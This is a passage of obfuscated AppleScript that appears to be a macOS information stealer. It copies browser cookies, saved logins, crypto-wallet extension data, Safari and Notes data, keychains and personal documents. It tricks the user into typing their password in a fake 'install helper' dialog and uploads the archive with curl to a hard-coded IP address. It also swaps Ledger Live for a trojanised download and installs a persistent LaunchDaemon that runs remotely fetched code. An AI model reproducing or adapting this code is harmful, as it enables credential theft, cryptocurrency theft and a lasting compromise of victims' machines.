r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" | awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", \\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", \\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", \\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType | awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder \\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" | sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to \\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & 